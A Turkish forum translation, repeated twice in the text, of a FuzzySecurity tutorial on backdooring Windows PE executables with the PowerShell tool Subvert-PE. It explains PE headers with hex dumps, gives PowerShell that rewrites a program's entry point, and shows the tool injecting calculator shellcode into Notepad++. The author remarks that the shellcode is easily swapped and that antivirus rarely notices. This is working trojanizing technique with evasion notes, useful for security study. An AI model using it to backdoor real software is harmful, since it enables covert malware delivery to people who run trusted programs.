Poweshell PE Enjeksiyonu -Sizin Aradığınız Hesap Makinesi Bu Değil
Merhabalar ve hoşgeldiniz! Bugün, shellcode'un disk üzerindeki PE çalıştırılabilir dosyalarına programlı olarak enjekte edilmesine göz atacağız. Lütfen sadece .exe'den bahsettiğimi unutmayın, PE dosya formatı başka birçok uzantı içerir (dll, ocx, sys, cpl, fon, ). Bunu manuel olarak yapmak ortalama düzeyde basittir. Püf noktası, şüphe uyandırmamak için PE işlevselliğinin değişmediğinden emin olmaktır. Maalesef manuel enjeksiyon her zaman pratik değildir. PE'yi kopyalamanız, ana makinenizde değiştirmeniz ve ardından da hedef makinede değiştirmeniz gerekir. Bu işlemi kolaylaştırmak için, PE çalıştırılabilir dosyasını (x86 ve x64) dinamik olarak yeniden yazabilen Subvert-PE'yi oluşturdum: Giriş Noktası uzantısını yamalayın, kabuk kodunu enjekte edin ve yürütme akışını yasal koda geri devredin.
Nasıl çalıştığını anlama fırsatı olmadan bir aleti insanların eline vermeyi sevmiyorum. Bu yazının bu kadar büyük bir kısmı, PE formatının ilgili bölümlerini incelemeye odaklanacaktır. PE yapısı anlaşıldıktan sonra, onu Powershell ile değiştirmek, dizi uzantılarını hesaplamada bir alıştırma haline gelir.
Bu gönderi, aşağıda listelenen resmi Microsoft belgelerinden bilgiler/alıntılar/resimler içerebilir. Bu bilgiler, DMCA adil kullanım politikası kapsamında sunulmuştur. Herhangi birisinin bunlarla ilgili bir sorunu varsa lütfen bana e-posta gönderin.
Bağlantılar:
Microsoft Resmi PE-COFF Belgeleri (MSDN) - buradan
Taşınabilir Yürütülebilir (Corkami) - buradan
Araç:
Subvert-PE.ps1 - buradan
PE Header
Her zaman somut bir örneğin, yeni konular hakkında bilgi edinme konusunda en iyi yol olduğunu düşünüyorum. Teoriyi pratikte temellendirmek için 32-bit Notepad ++ PE Headerına adım atacağız. PE Headerları genellikle şu bileşenleri içerir: MS-DOS Başlığı, Zengin İmza, PE Başlığı, İsteğe Bağlı Heder ve Bölüm Tablosu.
Her bölüm için önemli olan tüm WORD/DWORD/QWORD'leri vurgulamayacağım çünkü bu daha çok baştan savma bir genel bakış anlamına geliyor.
MS-DOS Header:
Bu örnekte, özellikle DOS headerı resmin tabanından (0x00) 0x7F'ye kadar uzanıyor. (127 bayt)
Burada hatırlanması gereken önemli şey, 0x3c (60 bayt) uzantısında gerçek PE headerına uzantıyı sağlayan bir DWORD vardır. PE header uzantısı statik değildir ve binaryden binarye değişecektir. Ayrıca, meraklıları için statik "MZ" tanımlayıcısı, MS-DOS geliştiricilerinden biri olan Mark Zbikowski'nin baş harflerine karşılık gelir.
Zengin İmza:
"Zengin İmza"dan buradadaha çok meraklılar için bahsedilimektedir. PE biçiminin uzun bir geçmişi olmasına rağmen (Windows 3.1/1993), bu bölüm Microsoft tarafından belgelenmemiştir. Uzun lafın kısası, PE'nin derlenmesiyle ilgili verileri depolar. Derinlemesine bir genel bakış için NTCore'da Daniel Pistellinin analizini okuyabilirsiniz.
PE Header:
PE headerı, bir ASCII imzasından ve ardından standart bir COFF dosya başlığından oluşur. Zengin İmza ve PE headerı arasında boş bayt dolgusu olduğuna dikkat edilmelidir. Notepad ++ için özellikle bu dolgu, 0x0F (15 bayt) boyutuna sahiptir, ancak PE'den PE'ye değişir.
Daha eksiksiz bir resim sağlamak için aşağıda "Makine Tipi" ve "Özellikler" alanlarının tüm olası değerlerini bulabilirsiniz. Bu resimler resmi Microsoft belgelerinden alınmıştır.
İsteğe Bağlı Header:
İsteğe Bağlı Header, yükleyiciye bilgi sağlar. Bu kısım yalnızca nesne dosyalarında bulunmadığı için isteğe bağlıdır, genellikle zorunludur. Bu Headerın boyutu değişiklik gösterir ve yukarıdaki PE headerında "İsteğe Bağlı Header Boyutu" ile gösterilir.
Görebildiğiniz üzere, birçok bölüm vurgulanmamıştır. İsteğe bağlı headera daha kapsamlı bir genel bakış için lütfen buradaki resmi Microsoft belgelerine ve Corkami analizine bakın. Aşağıdaki görüntü, "Alt Sistem Türü" alanının tüm olası değerlerini göstermektedir.
Bölüm Tablosu:
Bölüm tablosu, İsteğe bağlı headerı hızlıca takip eder. Resim, kesit tablosunda bir işaretçi içermediğinden, bunun yerine uzantı PE headerlarının birleşik boyutuna göre hesaplanır. Bu yüzden bu sıra gereklidir. Tanımlanan her bölümün boyutu 0x28 (40 bayt)'dır, bölüm sayısı PE headerından alınabilir.
Aşağıdaki resimler muhtemel olan tüm bölüm bayrak değerlerini göstermektedir. Bununla birlikte, genellikle yalnızca seçilmiş birkaçı düzenli olarak görünecektir (Okunabilir / Yürütülebilir, İlklendirilmiş Data, Çıkarılabilir).
Yukarıdaki tablo, Notepad++ PE'nin yalnızca ilk bölümünü göstermektedir. Diğer bölümler (toplamda 4 bölüm olduğunu biliyoruz) doğrudan ".text" bölümünü takip etmektedir.
Powershell ile Binary Dosyaları Değiştirin
Şimdi, PE header biçimine ilişkin temel bir fikre sahibiz, binary dosyalardan baytları okumaya ve yazmaya başlayabiliriz.
Bir Diziyi Değiştirmek:
Bakmamız gereken ilk şey, hex baytları tam sayıya ve bunun tersine nasıl çevireceğimizdir.
Çok eğlenceli, ancak asıl amaç diskteki dosyaları düzenlemeye devam ediyor. Bunun nasıl başarılabileceğini göstermek için 4 baytlık basit bir dosya oluşturdum.
PE Resimlerini Düzenlemek:
Tüm bu teoriyi pratiğe dökmenin zamanı geldi. PE'leri düzenlemek için kendimize basit bir hedef belirleyeceğiz, modül giriş noktası uzantısını bulup 0xAABBCCDD ile üzerine yazacağız.
Bu kodları terminalde çalıştırmak aşağıdaki sonuçları verir.
PE'yi Immunityde yüklediğimizde ne olacağını görelim.
Giriş noktasının 0xAABBCCDD yerine 0xAAFBCCDD olduğunu fark edeceksiniz. PE belleğe yüklendiğinde, giriş noktası uzantısı görüntü tabanına eklendiğinden (0x00400000) bu durum beklenmekteydi. Bizim açımızdan bu önemli değil çünkü yaptığımız dinamik hesaplamalar otomatik olarak görüntü tabanına eklenecek. Rebase/ASLR durumunda bu değer statik veya dinamik olabilir.
Subvert-PE
Sanırım artık iyi kısma geçme zamanı! Bir PE'yi Backdoor yapmak istersek, genellikle aşağıdaki adımları gerçekleştiririz:
(1) İlk çalıştırılabilir bölüm için boş bayt dolgusuna olan uzantıyı hesaplayın.
(2) Modül giriş noktasını bu konumdaki bir uzantı ile değiştirin.
(3) Kabuk kodumuzu bu uzantıya yazın.
(4) Yasal giriş noktasına geri dönen kabuk koduna bir taslak ekleyin. Aşağıdaki örnek, kod çalıştırma akışını göstermektedir.
Giriş kısmında da bahsedildiği gibi bu adımların gerçekleştirilmesi, bir dizideki uzantıları hesaplamaktan daha karmaşık değildir. Bu amaçla, x86 ve x64 desteği ile PE Görüntülerini dinamik olarak arka planda tutan Subvert-PE'yi oluşturdum. Subvert-PE işlevi, hesap makinesini başlatan SkyLined tarafından yazılan kabuk kodunu içerir. Kabuk kodu hakkında daha fazla ayrıntı buradan bulunabilir.
Hadi bir pratik örneğe göz atalım.
Aşağıdaki ekran görüntüsünden Notepad ++ 'ın normal bir şekilde başladığını görebiliriz, fakat şimdi aynı zamanda hesap makinesini de başlatıyor!
Aşağıdaki ekran görüntüleri, Windows 7 Professional 32 bit ve Windows 8 Enterprise 64 bit sürümleri üzerinde gerçekleşen bazı örnek enjeksiyonları göstermektedir.
Notlar:
1- Komut dosyasının başarı oranı, 32bit PE çalıştırılabilir dosyalarında yaklaşık% 90'dır; ne yazıktır ki bu 64 bitte yaklaşık% 50'lere düşmektedir. Bunun nedeni, boş bayt dolgusunun x64 PE'ler için çok daha küçük olmasıdır. Genel bir kural olarak, komut dosyasını "-Write" bayrağı olmadan çalıştırmalısınız, eğer kabuk kodunuz için yeterli alan olduğunu görürseniz, bu durumda işe yarama ihtimali yüksektir.
2- Açıkçası, kabuk kodu daha yararlı bir şeyle değiştirilebilir, ancak kısalık ve kötüye kullanımı sınırlamak için bu konular, yukarıdaki konuda ele alınmamaktadır. Akılda tutmanız gereken birkaç şey var: Yürütme akışını korumamız gerektiğinden dolayı kabuk kodu bir çıkış işlevine sahip olamaz. Kabuk kodu, PE kodu bölümü yazılabilir olmadığından ve azınlıkta olduğundan dolayı yürütüldüğünde paketini açamaz. Test durumları, PE'nin düzgün çalışması için ilk kayıt defteri değerlerini gerekli kıldığından, kabuk kodunun yürütmeden sonra bunları geri yüklemesi gerekir.
3- İmzalı binary dosyalara enjekte etmek imzayı geçersiz kılacaktır, ancak bu yalnızca adli birimler ile uğraşırken endişe vermeli. Dahası, yürütülebilir dosyalarda kabuk kodunu sakladığımız için, AV'nin neler olup bittiğine dair hiçbir fikri yoktur ve programın çalışmasına seve seve izin verir. Comodo'nun, PE'de değişiklik yapıldığında fark ettiğini buldum. Sonuç olarak, yürütülebilir dosyayı izole ediyor, ancak yine de kabuk kodunun yürütülmesine izin verir. Giriş noktasının tahrif edildiğini tespit ettiğinden şüpheleniyorum.
4- Ahmak olmayın, bu araç sadece yetkili kullanımı için oluşturulmuştur!
ORİJİNAL KAYNAK: https://www.fuzzysecurity.com/tutorials/20.html
ÇEVİRMEN: Dolyetyus
Merhabalar ve hoşgeldiniz! Bugün, shellcode'un disk üzerindeki PE çalıştırılabilir dosyalarına programlı olarak enjekte edilmesine göz atacağız. Lütfen sadece .exe'den bahsettiğimi unutmayın, PE dosya formatı başka birçok uzantı içerir (dll, ocx, sys, cpl, fon, ). Bunu manuel olarak yapmak ortalama düzeyde basittir. Püf noktası, şüphe uyandırmamak için PE işlevselliğinin değişmediğinden emin olmaktır. Maalesef manuel enjeksiyon her zaman pratik değildir. PE'yi kopyalamanız, ana makinenizde değiştirmeniz ve ardından da hedef makinede değiştirmeniz gerekir. Bu işlemi kolaylaştırmak için, PE çalıştırılabilir dosyasını (x86 ve x64) dinamik olarak yeniden yazabilen Subvert-PE'yi oluşturdum: Giriş Noktası uzantısını yamalayın, kabuk kodunu enjekte edin ve yürütme akışını yasal koda geri devredin.
Nasıl çalıştığını anlama fırsatı olmadan bir aleti insanların eline vermeyi sevmiyorum. Bu yazının bu kadar büyük bir kısmı, PE formatının ilgili bölümlerini incelemeye odaklanacaktır. PE yapısı anlaşıldıktan sonra, onu Powershell ile değiştirmek, dizi uzantılarını hesaplamada bir alıştırma haline gelir.
Bu gönderi, aşağıda listelenen resmi Microsoft belgelerinden bilgiler/alıntılar/resimler içerebilir. Bu bilgiler, DMCA adil kullanım politikası kapsamında sunulmuştur. Herhangi birisinin bunlarla ilgili bir sorunu varsa lütfen bana e-posta gönderin.
Bağlantılar:
Microsoft Resmi PE-COFF Belgeleri (MSDN) - buradan
Taşınabilir Yürütülebilir (Corkami) - buradan
Araç:
Subvert-PE.ps1 - buradan
PE Header
Her zaman somut bir örneğin, yeni konular hakkında bilgi edinme konusunda en iyi yol olduğunu düşünüyorum. Teoriyi pratikte temellendirmek için 32-bit Notepad ++ PE Headerına adım atacağız. PE Headerları genellikle şu bileşenleri içerir: MS-DOS Başlığı, Zengin İmza, PE Başlığı, İsteğe Bağlı Heder ve Bölüm Tablosu.
Her bölüm için önemli olan tüm WORD/DWORD/QWORD'leri vurgulamayacağım çünkü bu daha çok baştan savma bir genel bakış anlamına geliyor.
MS-DOS Header:
Bu örnekte, özellikle DOS headerı resmin tabanından (0x00) 0x7F'ye kadar uzanıyor. (127 bayt)
Kod:
[COLOR="plum"] 0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0000h: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.........ÿÿ..
0010h: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ¸...... [USER=178954].......[/USER]
0020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030h: 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 ............ð...
0040h: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..º..´.Í!¸.LÍ!Th
0050h: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060h: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070h: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
e_magic | 0x4D5A (MZ) | Used to identify MS-DOS compatibility.
-------------------------------------------------------------------------------------------------
e_cp | 0x0003 | File size in pages.
-------------------------------------------------------------------------------------------------
e_lfarlc | 0x0040 | Address of re******** table.
-------------------------------------------------------------------------------------------------
e_lfanew | 0x000000F0 (240) | Offset to PE header.
-------------------------------------------------------------------------------------------------
MS-DOS Stub | * | Legacy DOS stub (Windows 3.1 compatibility check).[/COLOR]
Burada hatırlanması gereken önemli şey, 0x3c (60 bayt) uzantısında gerçek PE headerına uzantıyı sağlayan bir DWORD vardır. PE header uzantısı statik değildir ve binaryden binarye değişecektir. Ayrıca, meraklıları için statik "MZ" tanımlayıcısı, MS-DOS geliştiricilerinden biri olan Mark Zbikowski'nin baş harflerine karşılık gelir.
Zengin İmza:
"Zengin İmza"dan buradadaha çok meraklılar için bahsedilimektedir. PE biçiminin uzun bir geçmişi olmasına rağmen (Windows 3.1/1993), bu bölüm Microsoft tarafından belgelenmemiştir. Uzun lafın kısası, PE'nin derlenmesiyle ilgili verileri depolar. Derinlemesine bir genel bakış için NTCore'da Daniel Pistellinin analizini okuyabilirsiniz.
Kod:
[COLOR="plum"] 0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0080h: 37 BA 5C 86 73 DB 32 D5 73 DB 32 D5 73 DB 32 D5 7º\sÛ2ÕsÛ2ÕsÛ2Õ
0090h: E4 1F 4C D5 77 DB 32 D5 54 1D 4F D5 6A DB 32 D5 ä.LÕwÛ2ÕT.OÕjÛ2Õ
00A0h: 54 1D 5F D5 CF DB 32 D5 B0 D4 6F D5 60 DB 32 D5 T._ÕÏÛ2Õ°ÔoÕ`Û2Õ
00B0h: 73 DB 33 D5 E8 DA 32 D5 54 1D 5C D5 D7 DB 32 D5 sÛ3ÕèÚ2ÕT.\Õ×Û2Õ
00C0h: 54 1D 4E D5 72 DB 32 D5 73 DB 32 D5 67 DB 32 D5 T.NÕrÛ2ÕsÛ2ÕgÛ2Õ
00D0h: 54 1D 4A D5 72 DB 32 D5 52 69 63 68 73 DB 32 D5 T.JÕrÛ2ÕRichsÛ2Õ
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
MSLinkerRich | * | Section named for ASCII sequence "Rich".[/COLOR]
PE Header:
PE headerı, bir ASCII imzasından ve ardından standart bir COFF dosya başlığından oluşur. Zengin İmza ve PE headerı arasında boş bayt dolgusu olduğuna dikkat edilmelidir. Notepad ++ için özellikle bu dolgu, 0x0F (15 bayt) boyutuna sahiptir, ancak PE'den PE'ye değişir.
Kod:
[COLOR="plum"] 0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
00E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ # 0x0F null-byte padding
00F0h: 50 45 00 00 4C 01 04 00 7F A4 74 50 00 00 00 00 PE..L..¤tP....
0100h: 00 00 00 00 E0 00 02 01 ....à...
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
PE Signature | 0x504500 (PE\0\0) | ASCII PE format signature.
-------------------------------------------------------------------------------------------------
Machine Type | 0x014C (i386+) | Identifies the target machine architecture.
-------------------------------------------------------------------------------------------------
Number Of | 0x0004 | Number of sections in the PE. Section table follows the
Sections | | "Optional Header".
-------------------------------------------------------------------------------------------------
TimeDateStamp | 0x5074A47F | Time-stamp indicating when the file was created.
| 10/09/12 22:26:07 | (Seconds since 00:00 January 1, 1970)
-------------------------------------------------------------------------------------------------
Optional | 0x00E0 (224) | Size of the Optional Header.
Header Size | |
-------------------------------------------------------------------------------------------------
Characteristics | 0x0102 (32-bit) | Flag contains attributes of the object or image.[/COLOR]
Daha eksiksiz bir resim sağlamak için aşağıda "Makine Tipi" ve "Özellikler" alanlarının tüm olası değerlerini bulabilirsiniz. Bu resimler resmi Microsoft belgelerinden alınmıştır.
İsteğe Bağlı Header:
İsteğe Bağlı Header, yükleyiciye bilgi sağlar. Bu kısım yalnızca nesne dosyalarında bulunmadığı için isteğe bağlıdır, genellikle zorunludur. Bu Headerın boyutu değişiklik gösterir ve yukarıdaki PE headerında "İsteğe Bağlı Header Boyutu" ile gösterilir.
Kod:
[COLOR="plum"] 0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0100h: 0B 01 08 00 00 A0 0D 00 ..... ..
0110h: 00 40 0B 00 00 00 00 00 59 71 0B 00 00 10 00 00 [USER=409310]......[/USER]Yq......
0120h: 00 B0 0D 00 00 00 40 00 00 10 00 00 00 10 00 00 .°... [USER=524677]........[/USER].
0130h: 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 ................
0140h: 00 20 1A 00 00 10 00 00 00 00 00 00 02 00 00 00 . ..............
0150h: 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................
0160h: 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................
0170h: C4 0A 10 00 C8 00 00 00 00 30 12 00 6C EA 07 00 Ä...È....0..lê..
0180h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0190h: 00 00 00 00 00 00 00 00 10 B7 0D 00 1C 00 00 00 ...............
01A0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01B0h: 00 00 00 00 00 00 00 00 80 0C 0F 00 40 00 00 00 .......... [USER=7992]...[/USER]
01C0h: 00 00 00 00 00 00 00 00 00 B0 0D 00 7C 06 00 00 .........°..|...
01D0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01E0h: 00 00 00 00 00 00 00 00 ........
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
Magic Number | 0x010B (PE32) | 0x010B (PE32) Or 0x020B (PE32+).
-------------------------------------------------------------------------------------------------
Code | 0x000DA000 (892928)| Sum of the size of code sections.
-------------------------------------------------------------------------------------------------
Initialised | 0x000B4000 (737280)| Sum of the size of initialised data sections.
-------------------------------------------------------------------------------------------------
Entry Point | 0x000B7159 | Offset to Entry Point.
-------------------------------------------------------------------------------------------------
Base Of Code | 0x00001000 | Start of the code section relative to the image base.
-------------------------------------------------------------------------------------------------
Base Of Data | 0x000DB000 | Start of the data section relative to the image base.
-------------------------------------------------------------------------------------------------
Image Base | 0x00400000 | Preferred image base.
-------------------------------------------------------------------------------------------------
Image Size | 0x001A2000 | Size of the image in memory including headers.
-------------------------------------------------------------------------------------------------
Header Size | 0x00001000 | Combined size of headers (rounded up to FileAlignment).
-------------------------------------------------------------------------------------------------
Subsystem Type | 0x0002 (Win GUI) | Subsystem required for PE.[/COLOR]
Görebildiğiniz üzere, birçok bölüm vurgulanmamıştır. İsteğe bağlı headera daha kapsamlı bir genel bakış için lütfen buradaki resmi Microsoft belgelerine ve Corkami analizine bakın. Aşağıdaki görüntü, "Alt Sistem Türü" alanının tüm olası değerlerini göstermektedir.
Bölüm Tablosu:
Bölüm tablosu, İsteğe bağlı headerı hızlıca takip eder. Resim, kesit tablosunda bir işaretçi içermediğinden, bunun yerine uzantı PE headerlarının birleşik boyutuna göre hesaplanır. Bu yüzden bu sıra gereklidir. Tanımlanan her bölümün boyutu 0x28 (40 bayt)'dır, bölüm sayısı PE headerından alınabilir.
Kod:
[COLOR="plum"] 0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
01E0h: 2E 74 65 78 74 00 00 00 .text...
01F0h: B6 96 0D 00 00 10 00 00 00 A0 0D 00 00 10 00 00 ¶....... ......
0200h: 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 20 ............ ..`
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
Section Name | .text | 8 byte, null padded UTF8 string.
-------------------------------------------------------------------------------------------------
Virtual Size | 0x000D96B6 (890550)| Total size of the section when loaded into memory.
-------------------------------------------------------------------------------------------------
Virtual Address | 0x00001000 | Offset to the section when loaded into memory (relative to
| | the image base).
-------------------------------------------------------------------------------------------------
Raw Data Size | 0x000DA000 (892928)| Size of the section on disk.
-------------------------------------------------------------------------------------------------
Raw Data Pointer| 0x00001000 | File pointer to the first page of the section within the
| | COFF file (rounded up to FileAlignment).
-------------------------------------------------------------------------------------------------
Section Flags | 0x20000020 | Characteristics of the section.
| (Read & Execute) |[/COLOR]
Aşağıdaki resimler muhtemel olan tüm bölüm bayrak değerlerini göstermektedir. Bununla birlikte, genellikle yalnızca seçilmiş birkaçı düzenli olarak görünecektir (Okunabilir / Yürütülebilir, İlklendirilmiş Data, Çıkarılabilir).
Yukarıdaki tablo, Notepad++ PE'nin yalnızca ilk bölümünü göstermektedir. Diğer bölümler (toplamda 4 bölüm olduğunu biliyoruz) doğrudan ".text" bölümünü takip etmektedir.
Kod:
[COLOR="plum"] 0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0210h: 2E 72 64 61 74 61 00 00 B8 7D 02 00 00 B0 0D 00 .rdata..¸}...°..
0220h: 00 80 02 00 00 B0 0D 00 00 00 00 00 00 00 00 00 ....°..........
0230h: 00 00 00 00 40 00 00 40 ....@..@
0230h: 2E 64 61 74 61 00 00 00 .data...
0240h: 68 FF 01 00 00 30 10 00 00 D0 00 00 00 30 10 00 hÿ...0...Ð...0..
0250h: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ............@..À
0260h: 2E 72 73 72 63 00 00 00 6C EA 07 00 00 30 12 00 .rsrc...lê...0..
0270h: 00 F0 07 00 00 00 11 00 00 00 00 00 00 00 00 00 .ð..............
0280h: 00 00 00 00 40 00 00 40 ....@..@[/COLOR]
Powershell ile Binary Dosyaları Değiştirin
Şimdi, PE header biçimine ilişkin temel bir fikre sahibiz, binary dosyalardan baytları okumaya ve yazmaya başlayabiliriz.
Bir Diziyi Değiştirmek:
Bakmamız gereken ilk şey, hex baytları tam sayıya ve bunun tersine nasıl çevireceğimizdir.
Kod:
[COLOR="plum"]# Hex --> Int
PS C:\Users\b33f> 0xA
10
# Int --> Hex
PS C:\Users\b33f> '{0:X}' -f 256
FF
# Mixed values
PS C:\Users\b33f> 0xAA + 187
357
PS C:\Users\b33f> '{0:X}' -f (0xCC-8)
C4
PS C:\Users\b33f> '{0:X}' -f (((81*0x51*8)-((0x359*0x10)/2))+((0x1*15)+0xf0))
B33F [/COLOR]
Çok eğlenceli, ancak asıl amaç diskteki dosyaları düzenlemeye devam ediyor. Bunun nasıl başarılabileceğini göstermek için 4 baytlık basit bir dosya oluşturdum.
Kod:
[COLOR="plum"]
PS C:\Users\b33f> type .\test.bin
ª»ÌÝ
# Read the file into a byte array
PS C:\Users\b33f> $read = [System.IO.File]::ReadAllBytes('C:\Users\b33f\test.bin')
PS C:\Users\b33f> $read
170
187
204
221
# We can query individual array elements
PS C:\Users\b33f> $read[0,3]
170
221
PS C:\Users\b33f> '0x{0}' -f ((($read[0..3]) | % {$_.ToString('X2')}) -join '')
0xAABBCCDD
PS C:\Users\b33f> [UInt32]('0x{0}' -f ((($read[0..3]) | % {$_.ToString('X2')}) -join ''))
2864434397
# We can assign new values to array elements
PS C:\Users\b33f> $read[2] = 255
PS C:\Users\b33f> $read[3] = 0xff
PS C:\Users\b33f> '0x{0}' -f ((($read[0..3]) | % {$_.ToString('X2')}) -join '')
0xAABBFFFF
# Finally we can overwrite the file with our modified byte array
PS C:\Users\b33f> [System.IO.File]::WriteAllBytes('C:\Users\b33f\test.bin', $read)[/COLOR]
PE Resimlerini Düzenlemek:
Tüm bu teoriyi pratiğe dökmenin zamanı geldi. PE'leri düzenlemek için kendimize basit bir hedef belirleyeceğiz, modül giriş noktası uzantısını bulup 0xAABBCCDD ile üzerine yazacağız.
Kod:
[COLOR="plum"]# Read entire PE array into memory
$bytes = [System.IO.File]::ReadAllBytes('C:\Users\b33f\Desktop\notepad++.exe')
# PE Header offset at 0x3c (60-byes), little endian!
$PEOffset = [Int32] ('0x{0}' -f (($bytes[63..60] | % {$_.ToString('X2')}) -join ''))
echo "PE Header Offset: $PEOffset"
# Optional Header = PE Header + 0x18 (24-bytes)
$OptOffset = $PEOffset + 24
echo "Optional Header Offset: $OptOffset"
# Module Entry Point = Optional Header + 0x14 (20-bytes)
$EntryPoint = '0x{0}' -f ((($bytes[($OptOffset+19)..($OptOffset+16)]) | % {$_.ToString('X2')}) -join '')
echo "Original Entry Point Offset: $EntryPoint"
$bytes[$OptOffset+19] = 0xAA
$bytes[$OptOffset+18] = 0xBB
$bytes[$OptOffset+17] = 0xCC
$bytes[$OptOffset+16] = 0xDD
# Fetch New Entry Point
$EntryPoint = '0x{0}' -f ((($bytes[($OptOffset+19)..($OptOffset+16)]) | % {$_.ToString('X2')}) -join '')
echo "New Entry Point Offset: $EntryPoint"
# Overwrite the PE with the modified array
[System.IO.File]::WriteAllBytes('C:\Users\b33f\Desktop\notepad++.exe', $bytes)
Bu kodları terminalde çalıştırmak aşağıdaki sonuçları verir.
Kod:
PS C:\Users\b33f> .\Write-Pointer.ps1
PE Header Offset: 240
Optional Header Offset: 264
Original Entry Point Offset: 0x000B7159
New Entry Point Offset: 0xAABBCCDD[/COLOR]
PE'yi Immunityde yüklediğimizde ne olacağını görelim.
Giriş noktasının 0xAABBCCDD yerine 0xAAFBCCDD olduğunu fark edeceksiniz. PE belleğe yüklendiğinde, giriş noktası uzantısı görüntü tabanına eklendiğinden (0x00400000) bu durum beklenmekteydi. Bizim açımızdan bu önemli değil çünkü yaptığımız dinamik hesaplamalar otomatik olarak görüntü tabanına eklenecek. Rebase/ASLR durumunda bu değer statik veya dinamik olabilir.
Subvert-PE
Sanırım artık iyi kısma geçme zamanı! Bir PE'yi Backdoor yapmak istersek, genellikle aşağıdaki adımları gerçekleştiririz:
(1) İlk çalıştırılabilir bölüm için boş bayt dolgusuna olan uzantıyı hesaplayın.
(2) Modül giriş noktasını bu konumdaki bir uzantı ile değiştirin.
(3) Kabuk kodumuzu bu uzantıya yazın.
(4) Yasal giriş noktasına geri dönen kabuk koduna bir taslak ekleyin. Aşağıdaki örnek, kod çalıştırma akışını göstermektedir.
Kod:
[COLOR="plum"] __________________________________________
| |
| PE Header |
| |
| |
| Entry Point Offset | ---->----
| | |
|__________________________________________| |
| | |
| .......... | |
|__________________________________________| |
| | |
| First Executable Section | |
| (Probably .text) | |
| | |
| Legitimate Entry Point |<---------|----
| | | |
| | | |
| | | |
|----[Section End - null-byte Padding]-----| | |
| | | |
| Shellcode | | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| ---<---- |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
| Far Jump back to | ------->-----
| Legitimate Entry Point |
|__________________________________________|[/COLOR]
Giriş kısmında da bahsedildiği gibi bu adımların gerçekleştirilmesi, bir dizideki uzantıları hesaplamaktan daha karmaşık değildir. Bu amaçla, x86 ve x64 desteği ile PE Görüntülerini dinamik olarak arka planda tutan Subvert-PE'yi oluşturdum. Subvert-PE işlevi, hesap makinesini başlatan SkyLined tarafından yazılan kabuk kodunu içerir. Kabuk kodu hakkında daha fazla ayrıntı buradan bulunabilir.
Hadi bir pratik örneğe göz atalım.
Kod:
[COLOR="Plum"]PS C:\Users\b33f> . .\ToolKit\Subvert-PE.ps1
PS C:\Users\b33f> Get-Help Subvert-PE -Full
NAME
Subvert-PE
SYNOPSIS
Inject shellcode into a PE image while retaining the PE functionality.
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
SYNTAX
Subvert-PE -Path <String> [-Write] [<CommonParameters>]
DESCRIPTION
Parse a PE image, inject shellcode at the end of the code section and dynamically patch the entry
point. After the shellcode executes, program execution is handed back over to the legitimate PE entry
point.
PARAMETERS
-Path <String>
Path to portable executable.
Required? true
Position? named
Default value
Accept pipeline input? false
Accept wildcard characters?
-Write [<SwitchParameter>]
Inject shellcode and overwrite the PE. If omitted simply display "Entry Point", "Preferred Image
Base" and dump the memory at the null-byte ********.
Required? false
Position? named
Default value
Accept pipeline input? false
Accept wildcard characters?
<CommonParameters>
This cmdlet supports the common parameters: Verbose, Debug,
ErrorAction, ErrorVariable, WarningAction, WarningVariable,
OutBuffer and OutVariable. For more information, type,
"get-help about_commonparameters".
INPUTS
OUTPUTS
-------------------------- EXAMPLE 1 --------------------------
C:\PS>Subvert-PE -Path C:\Path\To\PE.exe
-------------------------- EXAMPLE 2 --------------------------
C:\PS>Subvert-PE -Path C:\Path\To\PE.exe -Write
RELATED LINKS
http://www.fuzzysecurity.com/
PS C:\Users\b33f> Subvert-PE -Path 'C:\Program Files\Notepad++\notepad++.exe' -Write
Legitimate Entry Point Offset: 0x000B7159
Preferred PE Image Base: 0x00400000
Null-Byte Padding dump:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
